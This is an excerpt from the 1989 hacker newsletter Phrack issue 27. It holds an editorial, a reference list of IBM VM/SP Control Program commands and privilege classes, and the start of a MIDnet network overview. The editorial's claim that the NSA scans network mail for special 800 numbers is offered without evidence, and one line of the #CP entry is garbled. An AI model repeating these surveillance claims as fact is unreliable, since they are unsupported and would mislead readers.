==Phrack Inc.==

Volume Three, Issue 27, File 1 of 11

Phrack Inc. Newsletter Issue XXVII Index
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June 20, 1989

        Greetings and welcome to Issue 27 of Phrack Inc. The pressure is on with
SummerCon '89 just a couple short days away. We're sorry it has taken so long
to get this issue out, but summer break has created more responsibilities and
busy schedules than we have ever had to deal with while in school. Still, I
think you will agree that this issue was worth the wait.

        This issue we feature a new updated NUA and Datex-P list from Oberdaemon
of Switzerland and Chapter 7 of the Future Transcendent Saga (taking into
account that the SPAN and NSFnet files were chapters 5 and 6). We also
present
the second part of the COSMOS file written by King Arthur.

        Before we get to the main contents of the issue, we have a few comments
to
make regarding security and Phrack Inc.'s Internet access;

        Thanks to a friend, we at Phrack Inc. have become aware of one of the
main
techniques that the National Security Agency (NSA) uses to perform
surveillance
on the wide area networks.

        In certain messages that certain government agencies distribute, special
phone numbers are included; WATS (800) numbers, to be more specific. As these
messages are distributed around the continent via various netmail and file
transfer schemes, they are passed through several surveillance stations. All
of their stations perform one function, and in Unix terms, that function is
called "grep."

        Grep stands for G>lobal R>egular E>xpression search and P>rint. The grep
does simple string matching. Every instance of these special 800-numbers in
an
email message (or batch of them) is flagged, recorded, and the record is
mailed
to certain intelligence agencies by the surveillance stations.

        Here are the networks that we are reasonably certain that this practice
is
performed on:

* USEnet : Email is only checked in certain places, but ALL netnews
(including
            alt and any other nonstandard newsgroups) are flagged by a single
            government domain SUN-3 that shall remain nameless.
* ARPAnet : All mail going through a standard BBN (Bolt, Bernack, and
            Neumann... a Cambridge/MIT spinoff) Internet controller will be
            flagged, but the only information recorded by the controller is
the
            source and destination TCP/IP addresses of the message. But when
            you consider that this involves ***ALL*** DARPA mailing lists, you
            get a visualization of the magnitude. The reason more complex

information is NOT recorded is that this network is the only
                AUTHORIZED place that these messages with the hot WATS are
supposed
                to appear. You will see what this means in a moment.
* BITnet : Large IBM mainframe with I/O channel cycles to spare should have
no
                problem scanning mail from one of the most publically accessable
                "free" networks.
* Fidonet : The Secret Service scans this for credit card and other
violations.
                It is not too hard for them to check for the (800)'s, too.
* W.Union : All international telex lines are scanned to match a whole lot of
                stuff, especially drug-related information. The phone numbers are
                on their list.

        We have other suspicions, but we are withholding them for now.

        The other news is equally disturbing because it strikes us a little close
to home. We are temporarily losing our network access. As of June 27, 1989
through August 28, 1989 we will not have access to our accounts on UMCVMB
mainframe system. Make no attempt to mail us to our addresses there until
August 28, 1989. However, every cloud has a silver lining and this is no
exception. For networks people who wish to submit files to Phrack Inc. during
this time period we proudly present our friend and associate, Hatchet Molly.
He can be reached at "TK0GRM2@NIU.BITNET" and/or
"TK0GRM2%NIU.BITNET@CUNYVM.CUNY.EDU".

        So here is to another great issue of Phrack Inc!

                Taran King   Knight Lightning

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Operating the IBM VM/SP CP

(IBM Virtual Machine System Product Control Program)

An information article researched by

Taran King

May 18, 1989

This article is for the purpose of understanding the Control Program (CP)
portion of IBM's VM/SP. This is basically a separate section of VM/CMS known
as CP (with full screen editors, the CP level is indicated in the lower right
hand corner of the screen and for line-by-line editors, before the command
line
and after hitting carriage returns, it should say "CP") and it's purpose is to
manage real resources. Any command that involves something outside of your
virtual machine must communicate with CP. If CMS does not recognize a command
you give it, it will give it to CP.

The user generally enters the CP stage after a program flops or if you get
disconnected. You can also enter the CP stage by hitting PA1 which is a
function key of sorts. PA1 toggles between CP and CMS while on-line and if
you
re-login after being disconnected, PA1 can be used besides the BEGIN command
which will be spoken about later in this article.

Generally, VM/CMS systems are well equipped with help files so if anything I
print becomes unclear to you, from CMS mode, type HELP CP XXX where XXX is the
CP command you want information on.

To start this article off, I'm printing off the IBM-Defined Class and the
Function Types as listed in the IBM VM/SP CP manual. This essentially tells
you what privileges you have with your assigned class.

~ ~
IBM-Defined   Function   User &
  Class   Type   Functions
~~~~~~~~~~~   ~~~~~~~~   ~~~~~~
    A   O   Operations: The primary sysop can issue all
                                  class A commands. The class A user controls
                                  the VM/SP system. Class A is assigned to the
                                  user at the VM/SP system console during IPL.
                                  The primary sysop is responsible for the
                                  availability of the VM/SP system and its
                                  communication lines and resources. In
                                  addition, the class A user controls system
                                  accounting, broadcast messages, virtual
                                  machine performance options, and other
                                  command operands that affect the overall
                                  performance of the VM/SP. The sysop controls
                                  operation of the real machine using the
                                  system control panel and console device.
                                  NOTE: The class A sysop who is automatically
                                  logged on during CP initialization is

```
                                   designated as the primary sysop.

        B              R           Resource:  The system resource operator can
                                   issue all class B commands.  The class B user
                                   controls allocation and deallocation of all
                                   the real resources of the VM/SP system,
                                   except those controlled by the primary sysop
                                   and spooling operator.

        C              P           Programmer:  The system programmer can issue
                                   all class C commands.  The class C user
                                   updates certain functions of the VM/SP
                                   system.  The system programmer can modify
                                   real storage in the real machine.

        D              S           Spooling:  The spooling operator can issue
                                   all class D commands.  The class D user
                                   controls spool data files and specific
                                   functions of the system's unit record
                                   equipment.

        E              A           Analyst:  The system analyst can issue all
                                   class E commands.  The class E user displays
                                   the contents of real storage, performs the
                                   functions required to generate saved systems
                                   and discontiguous saved segments, and
                                   controls the collecting and recording of
                                   performance measurement data.  This class of
                                   user can display specified real storage areas
                                   on the virtual operator's console or on a
                                   spooled virtual printer, but cannot modify
                                   real storage.

        F              C           Customer Engineer:  The service
                                   representative can issue all class F
                                   commands.  The class F user obtains, and
                                   examines, in detail, certain data about input
                                   and output devices connected to the VM/SP
                                   system.  The service representative can
                                   establish extensive recording mode for one
                                   I/O device at a time and can cause the
                                   recording of repressible machine check errors
                                   to be initiated or resumed.

        G              G           General:  The general user can issue all
                                   class G commands.  The class G user controls
                                   functions associated with the execution of
                                   his virtual machine.  A general user cannot
                                   display or modify real storage.

       ANY            ANY          The ANY classification is given to certain CP
                                   commands that are available to any user.
                                   These are primarily for the purpose of
                                   gaining and relinquishing access to the VM/SP
                                   system.
```

~ ~

The following is the list of commands available along with a brief description
as to what they do and/or formatting and then ending with the IBM-Defined
Class and Function Type.

* : From CP, one may use the * command to annotate the terminal console sheet
~   or the terminal display screen with a comment. In other words, type * and
then any string of characters you would, for some reason, to be present on the
screen thereafter.
Privilege Class: ANY
Function Type: N/A

#CP : This command is used to execute a CP Command while in a virtual machine
~~~   command environment without first signaling attention to get to the CP
command environment which means that when typing 5 Æ6öÖÖ æCâ Fò W&f÷&Ò   5
operation, CP directly receives the command whereas CP <command> merely queues
the command from CP.
Privilege Class: ANY
Function Type: ANY

ACNT : The ACNT command is used to create accounting records for logged on
~~~~   users and to reset accounting data. It also closes a spool file that
is accumulating accounting records.
Privilege Class: A
Function Type: O

ADSTOP : The ADSTOP command is used to halt the execution of a virtual machine
~~~~~~   at a virtual instruction point. The hexloc variable may be placed
after the word ADSTOP which is a 6 character hexadecimal representation of the
virtual instruction address where the execution is to be halted. The OFF
option of the ADSTOP command cancels any previous ADSTOP setting.
Privilege Class: G
Function Type: G

ATTN : Use the ATTN command to make an attention interruption pending at your
~~~~   virtual console.
Privilege Class: G
Function Type: G

AUTOLOG : This command allows the user to log on any virtual machine defined
~~~~~~~   in the directory.
Privilege Level: A, B
Function Type: O

BACKSPAC : The BACKSPAC command is used to restart or reposition the current
~~~~~~~~   output on a real punch or printer.
Privilege Class: D
Function Type: S

BEGIN or B : The BEGIN command by itself from CP mode will return the user to
~~~~~~~~~~   CMS mode in the place where he/she left off before he/she was
disconnected or thrown into CP. The BEGIN command can also be followed by a
hex location as to where to start in the case of the user wanting to be doing
something other than what was previously occurring.
Privilege Class: G
Function Type: G

CHANGE or CH : In use of the CHANGE command, there are subcommands with
~~~~~~~~~~~~   variables. Generally, the "name" variable is 1 to 4 characters
in length. The following are the subcommands with functions and formatting:

  o READER or RDR : changes reader spool files.
  o PRINTER or PRT : changes printer spool files.
  o PUNCH or PCH : changes punch spool files.
  o CLASS c1 : designates an existing class where c1 is a 1-character

alphanumerical field from A to Z or 0 to 9.
    o spoolid : spoolid number of file that is to be changed.
    o FORM form1 : 1 to 8 character alphanumeric form name used to select files
                    to be changed (form1).
    o ALL : changes all of your spool files.
    o HOLD : prevents a file from being printed, punched, or read until
              released.
    o NOHOLD : releases the specified file from the user's HOLD status.
    o DIST dist : changes the distribution code to variable "dist".
    o COPY(*)nnn : specifies number of copies of the file you want spooled,
                    which is valid only for printer or punch files. "nnn" is a
                    number from 1 to 255 and the "*" is present in the case of
                    a 3800 printer being used so that copies will be made in the
                    printer internally.
    o FLASH name nnn : signifies that a form's overlay contained in the 3800
                        printer is to be superimposed onto certain pages of
                        output. "nnn" is a number from 0 to 255 representing
                        the number of copies to be superimposed.
    o MODIFY name (n) : allows text alteration by preventing information
                         printing or by adding labels to output. "n" selects a
                         keyword in CHARS to be used for copy modification text.
    o CHARS name1 (name2(name3(name4)))
       CHARS name1(CH names2(CH names3(CH names4))) : specifies character
                         arrangement table when printing a file. There can be
                         up to 4 names.
    o FCB name : controls vertical spacing of output on a page.
    o FORM form2 : changes spool form name of file to form2.
    o NAME fn (ft) : assigns identification to spool file in CMS format
                      filename and filetype.
    o NAME dsname : assigns identification to spool file in non-CMS format
                     where "dsname" is from 1 to 24 characters, suitable for
                     specifying OS or DOS files.
Privilege Class: S, G
Function Type: D, G

CLOSE or C : The CLOSE command terminates spooling activity on any virtual
~~~~~~~~~~   spooled unit record or console device. It Contains the following
subcommands to be followed by the letter C or the word CLOSE:

    o READER or RDR
    o PRINTER or PRT
    o PUNCH or PCH
    o FORM form1
    o HOLD
    o NOHOLD
    o DIST dist
    o NAME fn (ft)
    o NAME dsname
    o vaddr : virtual address (cuu) of device to be closed.
    o CONSOLE : closes virtual machine's console spool file which makes it a
                 printer spool file.
    o PURGE : closes and immediately purges from the virtual machine the
               output spool files. No output file is produced.
    o CHAIN : only valid for VM/SP HPO Release 4.2 and Profs Spool File
               Enhancement PRPQ. Indicates that the punchfile is to be
               chained.
Privilege Class: G
Function Type: G

COMMANDS or COMM : Use COMMAND to list the commands and diagnose codes you are
~~~~~~~~~~~~~~~~   authorized to use.

Privilege Class: ANY
Function Type: ANY

COUPLE : Using the COUPLE command connects your virtual non-dedicated
~~~~~~   channel-to-channel device to another user's virtual device of the
same type or to another one of your own virtual devices of the same type. The
format of this command is in the form of COUPLE vaddr1 TO userid vaddr2. The
variable vaddr1 is your virtual address and the variables userid vaddr2
identify the userid and virtual address of that userid to be connected to.
Privilege Class: G
Function Type: G

CP : The CP command may precede the command to be processed, but it is not
~~   necessary. Generally, the CP command is used from CMS mode to queue CP
functions by typing CP <command>.
Privilege Class: ANY
Function Type: ANY

CPTRAP : The CPTRAP command creates a reader file of a selected trace table,
~~~~~~   CP interface, and virtual machine interface entries for problem
determination.
Privilege Class: C
Function Type: P

DCP : This command displays the contents of real storage locations at the
~~~   terminal.
Privilege Class:  C, E
Function Type:  P

DEFINE or DEF : The DEFINE command in CP is used to alter your virtual machine
~~~~~~~~~~~~~   configuration or channel operating mode.  There are a LOT of
subcommands that are used with the DEFINE command such as RDR or PRT or PCH
and the list goes on and on.  If you want details, there is a help file (type
HELP CP DEF) that is almost 600 lines that goes into detail on each
subcommand.
Privilege Class:  B, G
Function Type:  R, G

DETACH or DET : The DETACH command is used to remove a virtual device from the
~~~~~~~~~~~~~   virtual machine.  The subcommands are as follows:

  o  vaddr (vaddr...) : used for multiple addresses to be detached where vaddr
                        is the virtual address (cuu) of the device to be
                        detached.
  o  vaddr-vaddr : used to detach a range of addresses.
  o  CHANNEL c : detaches the real address of the channel.
Privilege Class:  B, G
Function Type:  R, G

DIAL : Using the DIAL command logically connects a switched line, leased line,
~~~~   locally attached, or remote Binary Synchronous (BSC) terminal to a
previously logged-on multiple-access virtual machine.  It is in the format of
DIAL userid (vaddr) where the userid is that to be connected to and the
vaddr is the optional virtual address.
Privilege Class:  ANY
Function Type:  ANY

DISABLE : The DISABLE command prevents low speed communications lines from
~~~~~~~   accessing the system.
Privilege Class:  A, B
Function Type:  R

DISCONN or DISC : The DISCONNECT command is used to disconnect your terminal
~~~~~~~~~~~~~~~~   from the system while the virtual machine continues
operation.  Using the DISC HOLD or DISC HO option, you specify that the
communications line is not to be disabled which allows you to avoid re-dialing
the system.
Privilege Class:  ANY
Function Type:  ANY

DISPLAY or D : The DISPLAY command allows you to display virtual machine
~~~~~~~~~~~~   components at your terminal.  Depending on what variable
follows the D or DISPLAY command from CP, you can display virtual storage
locations, storage keys, general registers, floating-point registers, control
registers, vector registers, VAC (Vector Activity Counter), VSR (Vector Status
Register), VMR (Vector Mask Register), PSW (Program Status Word), CAW (Channel
Address Word), and CSW (Channel Status Word).
Privilege Class:  G
Function Type:  G

DMCP : This command prints the contents of real storage locations on a user's
~~~~   virtual spooled printer.
Privilege Class:  C, E
Function Type:  P

DRAIN : The DRAIN command stops spooling operations on a specified real unit's
~~~~~   read devices after the file currently being processed has been
completed.
Privilege Class:  D
Function Type:  S

DUMP or DU : Use the DUMP command to print the contents of various components
~~~~~~~~~~   of the virtual machine on the virtual spooled printer.  Depending
on what variable is placed after the DUMP or DU command, the items printed
include virtual PSW (Program Status Word), general registers, floating-point
registers, control registers, storage keys, and virtual storage locations.
Privilege Class:  G
Function Type:  G

ECHO or EC : Defaulted at 1, the ECHO command places the terminal in the echo
~~~~~~~~~~   environment in which any line entered is transmitted unchanged
back to the terminal a specified number of times, depending on the variable
entered immediately after the word ECHO or EC.
Privilege Type:  G
Function Type:  G

ENABLE : Use the ENABLE command to enable the previously disabled or nonabled
~~~~~~   devices so users may access the system.
Privilege Class:  A, B
Function Type:  R

EXTERNAL or EXT : The EXTERNAL command allows the user to simulate an external
~~~~~~~~~~~~~~~   interrupt to the virtual machine and to return control to
that machine.  The hexadecimal code following the word EXTERNAL or EXT is
associated with the external interrupt, the default being the number 40 which
is associated with the external interrupt button on a system console.
Privilege Class:  G
Function Type:  G

FLUSH : The FLUSH command halts and immediately purges on hold the current
~~~~~   output on a specified unit record device.
Privilege Class:  D

Function Type:  S

FORCE : This command forces a logoff of any user of the system.
~~~~~
Privilege Class: A
Function Type: O

FREE : Use the FREE command to remove a set of spool files belonging to a
~~~~   specified user from a system hold status.
Privilege Class: D
Function Type: S

HALT : The HALT command terminates any active channel program on a specified
~~~~   real device.
Privilege Class: A
Function Type: O

HOLD : The HOLD command places user spool files in a system hold status.
~~~~
Privilege Class:  D
Function Type:  S

INDICATE or IND : At your terminal, you can display the use of and contention
~~~~~~~~~~~~~~~~    for major system resources with the INDICATE command.  The
following variables that follow the word INDICATE or IND show the following
data:

  o  LOAD : shows number of users in queue 1 and queue 2, the usage of real
            storage, and the ratio of active users to users being serviced.
            This is done by returning values that indicate operating load on
            the system.
  o  USER : displays the amounts of system resources used by your virtual
            machine in the current terminal session.
Privilege Class:  A, E, G
Function Type:  O, A, G

IPL or I : Generally used to return to CMS via the IPL CMS  or I CMS command,
~~~~~~~~    the IPL command simulates an initial program load function for a
virtual machine.  Subcommands are as follows:

  o  vaddr : virtual address (cuu) of the device that contains the nucleus to
             be loaded.
  o  cylno : cylinder containing the IPL data which defaults to 0.
  o  nnnnn : block address containing the IPL data which defaults to 0.
  o  CLEAR : sets virtual storage space to binary zeros before the operating
             system is loaded.
  o  NOCLEAR : allows contents of your virtual storage space to remain
               unchanged prior to program load.
  o  STOP : halts the virtual machine during the IPL procedure just before the
            initial PSW is loaded.
  o  ATTN : generates an attention interrupt to the virtual machine during the
            IPL procedure.
  o  PARM p1 (p2...) : processes up to 64 bytes of data to your virtual
                       machine's general registers starting with the high
                       order byte of general register 0.
  o  systemname : simulates IPL function when loading a named system that was
                  previously saved.
Privilege Class:  G
Function Type:  G

LINK : The LINK command is used to make a device that is associated with

~~~~   another virtual machine available at your virtual machine configuration
based upon info in that user's directory entry.  This command is in the format
of LINK TO userid vaddr1 AS vaddr2 (mode) ((PASS=) password(1)).
Privilege Class:  G
Function Type:  G

LOADBUF : On a 1403 printer, the LOADBUF command loads the Universal Character
~~~~~~~   Set (UCS) with a specified print train or chain image.  On a
3203, 3211, 3212, 4245, or 4248 printer, it loads the UCS or the Forms Control
Buffer (FCB) with a specified image.  On a 3289 Model 4 printer, it loads the
Font Offset Buffer (FOB) with the image print belt and the FCB.
Privilege Class:  D
Function Type:  S

LOADVFCB : This command specifies the forms control buffer image for different
~~~~~~~~   virtual spooled printers.  The variables that follow it include:

  o  vaddr
  o  FCB : required reserved keyword meaning Forms Control Buffer.
  o  name : a name that is system defined.
  o  INDEX (nn) : place initial printing position in number nn for the 3211
                  printer.
Privilege Class:  G
Function Type:  G

LOCATE : Use the LOCATE command to find the addresses of CP control blocks
~~~~~~   associated with a particular user, a user's device, or a real system
device.
Privilege Class:  C, E
Function Type:  P

LOCK : This command permanently locks in selected pages of real storage.
~~~~
Privilege Class: A
Function Type: O

LOGOFF or LOGOUT or LOG : Used to terminate a virtual machine session and
~~~~~~~~~~~~~~~~~~~~~~~~   disconnect your virtual machine from the system,
this command can be used with the HOLD option (i.e. LOG HOLD) for retaining
the connection allowing for a switched communications line to enable one to
log on without re-dialing the system.
Privilege Class: ANY
Function Type: ANY

LOGON or LOGIN or L : Obvious enough, the LOGIN or LOGON command is used to
~~~~~~~~~~~~~~~~~~~~   identify yourself to the system and to access that
system. Following the words LOGIN or LOGON or L, type your userid which is
the identifier assigned to you in the system. If the system you are logging
onto does NOT have password suppression, your password can follow directly
after your userid. NOTE: If the system you are on does have password
suppression (i.e. it does not echo to your screen what you type when you type
your password), you will get a system error message if you try to put it on
the same line as your userid. The NOIPL option, which would follow your
password and userid, specifies that the IPL device or name in the directory
should not be used for an automatic IPL.
Privilege Class: ANY
Function Type: ANY

MESSAGE or MSG or M : Use the MESSAGE command to transmit message text to a
~~~~~~~~~~~~~~~~~~~~   specified userid or to the primary system operator
userid. MSG userid msgtext sends msgtext to the userid specified after

userid. If userid is replaced with *, the text is sent to yourself. Also, if
the userid is replaced with OPERATOR, the message text is sent to the primary
system operator regardless of his userid.
Privilege Class: A, B, ANY
Function Type: O, ANY

MIGRATE : The MIGRATE command activates the normal page/swap table migration
~~~~~~~   routines or forces a particular user's pages to a secondary device
even if that user is currently active.
Privilege Class: A
Function Type: O

MONITOR : To initiate or override the system-generated function or to
~~~~~~~   terminate the recording of events occurring in the real machine, use
the MONITOR command.
Privilege Class: A, E
Function Type: O

MSGNOH : The MSGNOH command allows a service virtual machine to send messages
~~~~~~   to specified users without the standard header associated with the
MESSAGE command.
Privilege Class: B
Function Type: R

NETWORK : The NETWORK command allows you to load, dump and control operation
~~~~~~~   of a 3704 or 3705 and to control operation of a 3725 control program
operating in 270x emulation mode (EP). Also, it allows control of remote 3270
devices via binary synchronous lines.
Privilege Class: A
Function Type: O

NOTREADY or NOTR : Using the NOTREADY command causes the virtual device, which
~~~~~~~~~~~~~~~~   is specified after the NOTREADY statement via cuu address,
to appear as if it had changed from ready to not ready status.
Privilege Class: G
Function Type: G

ORDER or ORD : ORDER is used to place your closed spool files in a specific
~~~~~~~~~~~~   order by device type. These spool files include READER,
PRINTER, and PUNCH files and can be sorted by CLASS, FORM, and spoolid.
Privilege Class: D, G
Function Type: S, G

PER : PER allows one to monitor certain events as they occur during program
~~~   execution in the user's virtual machine. This command can monitor the
fetching and execution of an instruction, the execution of a successful branch
instruction, the instruction of an instruction that alters a specific general
purpose register, and the execution of an instruction in the virtual machine
that alters storage.
Privilege Class: A, B, C, D, E, F, G
Function Type: G

PURGE or PUR : Use the PURGE command to remove your own closed spool files
~~~~~~~~~~~~   from the system before they are printed or punched by the
spooling devices, or before they are read by a user. The spool file
specifications include READER, PRINTER, and PUNCH files as well as the ALL
option which purges all of the above mentioned files.
Privilege Class: D, G
Function Type: S, G

QUERY or Q : Also available in CMS mode, the QUERY command is used to

~~~~~~~~~~   determine your system status and machine configuration.
Although there are far too many subcommands of the QUERY command, the
following is a list of items that may be queried. I recommend, for full
detail, using the HELP CP QUERY command as it is quite thorough (over 1000
lines) in explaining the QUERY command.

  o The time you have used during a terminal session.
  o The number of closed input and output spool files associated with
     your virtual machine.
  o The current settings of the color and/or extended highlight values
     in effect for your virtual machine console.
  o The current settings of the SET command functions.
  o The current settings of the TERMINAL command functions.
  o The status of all the devices on your virtual machine.
  o The channel operating mode of your virtual machine, whether
     block-multiplexer or selector.
  o A listing of all users who are linked to a given virtual address,
     together with their device addresses and access modes.
  o Display of the secondary user (secuser) that is specified in the
     CONSOLE directory statement.
  o Identification and attributes associated with your virtual
     PRINTER, PUNCH, and READER spool files.
  o The identification of your virtual processor.
  o The mode of processor operation of your VM/SP HPO installation:
     uniprocessor mode (UP), attached processor mode (AP), or
     multiprocessor mode (MP).
  o The userid and system identifier.
  o A listing of the PER traceset elements.
  o The log messages of the day.
  o The names of the users that are logged on.
  o The number of users that are logged on or dialed to the system.

NOTE: There are other operands you can use with the QUERY command if you
       have the privilege class required to use them.
Privilege Class: A, B, C, D, E, F, G
Function Type: O, R, P, S, A, C, G

QVM : Use this command to request the transition from the VM/SP environment to
~~~   native mode for a particular virtual machine.
Privilege Class: A
Function Type: O

READY : In the format of READY vaddr, this command is used to set a device-end
~~~~~   interruption pending for the specified virtual device.
Privilege Class: G
Function Type: G

REPEAT : Use the REPEAT command to increase the number of copies of an output
~~~~~~   file or to place the current output file in a hold status increasing
or not increasing the number of copies to be created.
Privilege Class: D
Function Type: S

REQUEST or REQ : Simply use the REQUEST command to make an attention interrupt
~~~~~~~~~~~~~~   at your virtual console.
Privilege Class: G
Function Type: G

RESET : Also in the format of RESET vaddr, this command is used to clear all
~~~~~   pending interrupts from the specified virtual device.
Privilege Class: G

Function Type: G

REWIND or REW : The REWIND command is used to rewind a real tape unit attached
~~~~~~~~~~~~~~   to your virtual machine at a specified virtual device address
in the format REWIND vaddr.
Privilege Class: G
Function Type: G

SAVESYS : This command allows you to save a virtual machine storage space with
~~~~~~~   registers and the PSW as they currently exist. It is used in the
process of creating named systems.
Privilege Class: E
Function Type: A

SCREEN or SCRE : Use the SCREEN command to alter or change any extended color
~~~~~~~~~~~~~~~   and/or extended highlight definitions for your virtual
machine console. You may issue the command from any IBM supported terminal or
from a PROFILE EXEC because the SCREEN command is not device dependent.
However, the SCREEN command is only valid when the Extended Color Feature has
been applied to the terminal controller.

You can assign extended color and extended highlighting values to six distinct
display screen areas: the input area, the system status area, and the output
area that encompasses three other areas: CP output, virtual machine output,
virtual machine output, and an input redisplay area. The physical attributes
of 3270 Information Display station screens vary according to model.

Because this command mainly applies to people who are not on dial-up, I have
elected not to detail all of the variables available with the SCREEN command.
Once again, I recommend you using HELP CP SCREEN for details.
Privilege Class: G
Function Type: G

SEND : Using the Single Console Image Facility, the SEND command is used to
~~~~   pass commands and message replies for the secondary user's console to
disconnect virtual machines for execution. This command is executed in the
format: SEND (CP) userid (text).
Privilege Class: G
Function Type: G

SET : Use the SET command to control various functions within your virtual
~~~   system. This command has a large number of variables that can be SET
and details for each of the variables can be obtained from the HELP CP SET
file.
Privilege Class: A, B, E, F, G
Function Type: O, R, A, C, G

SHUTDOWN : This command, of course, systematically ends all virtual machine
~~~~~~~~   functions and checkpoints the system for an eventual warn start.
Privilege Class: A
Function Type: O

SLEEP or SL : To place the virtual machine in a dormant state but allow
~~~~~~~~~~~   messages to be displayed, use the SLEEP command in the format
of SLEEP nn (time-specification) where time-specification is SEC for seconds,
MIN for minutes, or HR for hours and nn is the number of the amount of time
for the machine to be in dormant state.
Privilege Class: G
Function Type: G

SMSG or SM : The SMSG command is used to send a special message to a virtual

~~~~~~~~~~   machine programmed to accept and process the message. The format
of this command is SMSG userid msgtext where userid is the userid to receive
the message and msgtext is the message to be sent to the userid.
Privilege Class: G
Function Type: G

SPACE : Use the SPACE command to force the output on a specified printer to be
~~~~~   single spaced for the current active spool file regardless of the
carriage control commands in the actual file.
Privilege Class: D
Function Type: S

SPMODE : SPMODE allows the system operator to establish or reset the single
~~~~~~   processor mode environment.
Privilege Class: A
Function Type: O

SPOOL or SP : Use the SPOOL command to modify the spooling control options in
~~~~~~~~~~~   effect for a given virtual spooling device or for a group of
devices. The SPOOL command can also start or stop the spooling of virtual
console input and output. You can direct a file to a remote location by using
the SPOOL command in conjunction with the TAG command.
Privilege Class: G
Function Type: G

SPTAPE : Use this command to dump spool files to tape or to load spool files
~~~~~~   from tape.
Privilege Class: D
Function Type: S

START : The START command restarts a spooling device after it has been drained
~~~~~   or changes the output class that it may service.
Privilege Class: D
Function Type: S

STCP : To alter the contents of real storage but not real PSW or real
~~~~   registers, use the STCP command.
Privilege Class: C
Function Type: P

STORE or ST : The STORE command is used to alter the contents of specified
~~~~~~~~~~~   registers and locations of the virtual machine. As well as
saving virtual machine data in low storage, the contents of the following can
be altered:

  o Virtual storage locations
  o General registers
  o Floating-point registers
  o Control registers
  o Program Status Word (PSW)
Privilege Class: G
Function Type: G

SYSTEM or SYS : SYSTEM is used to simulate the action of the RESET and RESTART
~~~~~~~~~~~~~   buttons on the real computer console, and to clear storage.
The variables are as follows:

  o CLEAR : clears virtual storage and virtual storage keys to binary zeros.
  o RESET : clears all pending interrupts and conditions in the virtual
             machine.
  o RESTART : simulates the hardware system RESTART function by storing the

current PSW at virtual location eight and loading, as the new
                    PSW, the doubleword from virtual location zero.
Privilege Class: G
Function Type: G

TAG or TA : The TAG has many different variables that can be tagged, which are
~~~~~~~~~   too many to list here because of different settings for each one,
but it is used to associate file descriptive information with a spool file.
Privilege Class: G
Function Type: G

TERMINAL or TERM : The TERMINAL command is used to control the following
~~~~~~~~~~~~~~~~   functions associated with your virtual console:

  o Logical line-editing symbols
  o Masking of password
  o The APL character set
  o The Text character set
  o Signaling of an attention interrupt
  o Attention handling mode for your virtual console
  o Line length for output on your virtual console
  o Specifying terminal device type as 3101 or TTY
  o Location of cursor preceding terminal read
  o Scrolling rate for 3101 terminal
Privilege Class: G
Function Type: G

TRACE or TR : Use the TRACE command to trace specified virtual machine
~~~~~~~~~~~   activity and to record the results at the terminal, on a virtual
spooled printer, or on both terminal and printer. If you issue more than one
TRACE command, the operands are cumulative; that is, operands specified for
the
first time are activated, whereas those specified with new modifiers are
updated. The RUN and NORUN operands, however, can be specified in different
tracing functions and do not cause a conflict.

You cannot issue the TRACE command while preferred machine assist is
operating, whether or not you have enabled the preferred machine assist
feature's control switch assist.
Privilege Class: G
Function Type: G

TRANSFER or TRAN : This command is used to transfer your closed spool files to
~~~~~~~~~~~~~~~~~   a specified user or queue, or to reclaim closed spool files
that you created.
Privilege Class: D, G
Function Type: S, G

UNLOCK : Use the UNLOCK command to unlock page frames previously locked by a
~~~~~~   LOCK command.
Privilege Class: A
Function Type: O

VARY : The VARY command marks a device available or unavailable for use by a
~~~~   user or the control program.
Privilege Class: B
Function Type: R

VMDUMP or VMD : The VMDUMP command dumps virtual storage that VM/SP HPO
~~~~~~~~~~~~~   creates for the virtual machine user. VMDUMP dumps the
following:

o   Virtual Program Status Word (PSW)
        o   General registers
        o   Floating-point registers
        o   Control registers
        o   Storage protection keys
        o   Virtual machine type identification
        o   Timer values
Privilege Class: G
Function Type: G

WARNING : Use the WARNING command to transmit high-priority messages to a
~~~~~~~   specified user or to all users.
Privilege Class: A, B
Function Type: O

~ ~
~
This article is far from totally complete as far as in-depthness goes. As I
have stated in numerous portions of this file, the VM/CMS system has a very
good HELP file system, and from CMS, the command HELP CP <command> will, in
most cases, allow you to read a relatively clear text file containing the
details and usage specifications of these commands. I hope that, should you
be
moving around a VM/CMS system, this file will assist you in the CP mode.

For those that wish to contact me for commentary on this file topic or other
topic conversation, you can send e-mail to my network addresses:

                    Internet: C488869@UMCVMB.MISSOURI.EDU
                     Bitnet: C488869@UMCVMB.BITNET

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                           ==Phrack Inc.==

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Prologue
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If you are not already familiar with NSFnet, I would suggest that you read:

"Frontiers" (Phrack Inc., Volume Two, Issue 24, File 4 of 13), and definitely;
"NSFnet: National Science Foundation Network" (Phrack Inc., Volume Three,
                                          Issue 26, File 4 of 11).

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*   Introduction
*   The DOD Protocol Suite
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*   Telnet (*NOT* Telenet)
*   File Transfer
*   Mail

Introduction
~~~~~~~~~~~~
MIDNET is a regional computer network that is part of the NSFnet, the National
Science Foundation Network. Currently, eleven mid-United States universities
are connected to each other and to the NSFnet via MIDnet:

UA - University of Arkansas at Fayetteville
ISU - Iowa State University at Ames
UI - University of Iowa at Iowa City
KSU - Kansas State University at Manhattan
KU - University of Kansas at Lawrence
UMC - University of Missouri at Columbia
WU - Washington University at St. Louis, Missouri
UNL - University of Nebraska at Lincoln
OSU - Oklahoma State University at Stillwater
UT - University of Tulsa (Oklahoma)
OU - University of Oklahoma at Norman

Researchers at any of these universities that have funded grants can access
the
six supercomputer centers funded by the NSF:

John Von Neuman Supercomputer Center

National Center for Atmospheric Research
Cornell National Supercomputer Facility
National Center for Supercomputing Applications
Pittsburgh Supercomputing Center
San Diego Supercomputing Center

In addition, researchers and scientists can communicate with each other over a
vast world-wide computer network that includes the NSFnet, ARPAnet, CSnet,
BITnet, and others that you have read about in The Future Transcendent Saga.
Please refer to "Frontiers" (Phrack Inc., Volume Two, Issue 24, File 4 of 13)
for more details.

MIDnet is just one of several regional computer networks that comprise the
NSFnet system. Although all of these regional computer networks work the
same,
MIDnet is the only one that I have direct access to and so this file is
written
from a MIDnet point of view. For people who have access to the other regional
networks of NSFnet, the only real differences depicted in this file that would
not apply to the other regional networks are the universities that are served
by MIDnet as opposed to:

NYSERnet   in New York State
SURAnet   in the southeastern United States
SEQSUInet in Texas
BARRnet   in the San Francisco area
MERIT   in Michigan

             (There are others that are currently being constructed.)

These regional networks all hook into the NSFnet backbone, which is a network
that connects the six supercomputer centers. For example, a person at Kansas
State University can connect with a supercomputer via MIDnet and the NSFnet
backbone. That researcher can also send mail to colleagues at the University
of Delaware by using MIDnet, NSFnet and SURAnet. Each university has its own
local computer network which connects on-campus computers as well as providing
a means to connecting to a regional network.

